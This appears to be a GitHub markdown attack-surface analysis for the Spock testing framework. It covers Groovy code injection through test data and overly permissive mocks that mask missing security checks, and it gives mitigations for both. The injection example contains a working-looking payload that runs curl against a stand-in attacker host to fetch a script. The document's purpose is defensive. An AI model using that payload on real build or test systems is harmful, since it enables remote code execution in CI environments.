Skip to content

Latest commit

 

History

History
32 lines (27 loc) · 4.63 KB

attack-surface.md

File metadata and controls

32 lines (27 loc) · 4.63 KB

Attack Surface Analysis for spockframework/spock

Attack Surface: Test Code Injection (Groovy Script Injection)

  • Description: Execution of arbitrary Groovy code within the Spock test environment, originating from an untrusted source and leveraging Spock's Groovy integration.
    • How Spock Contributes: Spock directly uses Groovy as its core language. Its dynamic features, including metaprogramming and the way data providers (where: blocks) are handled, create the direct pathway for this injection. This is not a general testing concern; it's specific to how Spock processes Groovy.
    • Example:
      • A Spock test reads test data from a JSON file. An attacker modifies the JSON to include a Groovy script snippet within a string field intended for use in a where: block: {"data": "${(new java.lang.ProcessBuilder('curl', 'http://attacker.com/evil.sh')).start()}\u0022}. If the test uses this field directly in a Groovy expression (e.g., within a setup: or expect: block, or even implicitly within the where: block's condition), the malicious script executes.
    • Impact: Complete compromise of the test environment, potentially leading to access to source code, test databases, build artifacts, and potentially lateral movement. Could lead to data breaches, code modification, or CI/CD pipeline disruption.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Strict Input Validation: Implement rigorous input validation for all data used in Spock tests, especially data used within where: blocks or any Groovy expressions. Use whitelisting.
      • Data Sanitization: Sanitize all data before using it in any Groovy context within Spock. Escape special characters meticulously.
      • Avoid Dynamic Code Generation: Minimize dynamic Groovy code generation within Spock tests. If unavoidable, use parameterized approaches or secure template engines.
      • Least Privilege: Run Spock tests with the absolute minimum necessary privileges.
      • Code Reviews: Conduct thorough code reviews, focusing on data handling and any use of Groovy expressions within Spock tests.
      • Static Analysis: Use static analysis tools specifically designed to detect Groovy code injection vulnerabilities.

Attack Surface: Overly Permissive Mocks Bypassing Security (Direct Spock Mocking Misuse)

  • Description: Spock's mocking features are used to create mocks that bypass security checks within the context of the Spock test itself, leading to false positives. This is a direct misuse of Spock's mocking API.
    • How Spock Contributes: Spock provides the mocking framework. The vulnerability lies in how developers use Spock's Mock() and interaction-based testing features. This is not a general mocking concern; it's about the incorrect application of Spock's specific mocking capabilities.
    • Example:
      • A Spock test for a method that should check user roles uses Spock's Mock() to create a mock of the UserRoleService. The interaction is defined as: 1 * userRoleService.hasRole(_, 'ADMIN') >> true. This mock always returns true, regardless of the actual user or role, bypassing the intended security check. The test passes, but the production code might be vulnerable.
    • Impact: Vulnerabilities in the production code related to security checks are masked by the Spock tests. The application may be deployed with critical security flaws that were not detected during testing.
    • Risk Severity: High
    • Mitigation Strategies:
      • Realistic Mocking: Configure Spock mocks to accurately reflect the behavior of the real components, including security checks and error conditions. Don't simply return true for all security-related interactions.
      • Negative Testing: Include Spock tests that specifically test security boundaries and expected failures. Verify that unauthorized access is denied by the mocked components.
      • Interaction-Based Testing with Constraints: Use Spock's interaction-based testing features with precise constraints. Instead of _ (any argument), specify expected arguments to ensure the mock is called correctly. For example: 1 * userRoleService.hasRole(userWithNoAdminRole, 'ADMIN') >> false.
      • Code Reviews: Carefully review Spock mock configurations to ensure they are not overly permissive and that they accurately represent the expected security behavior.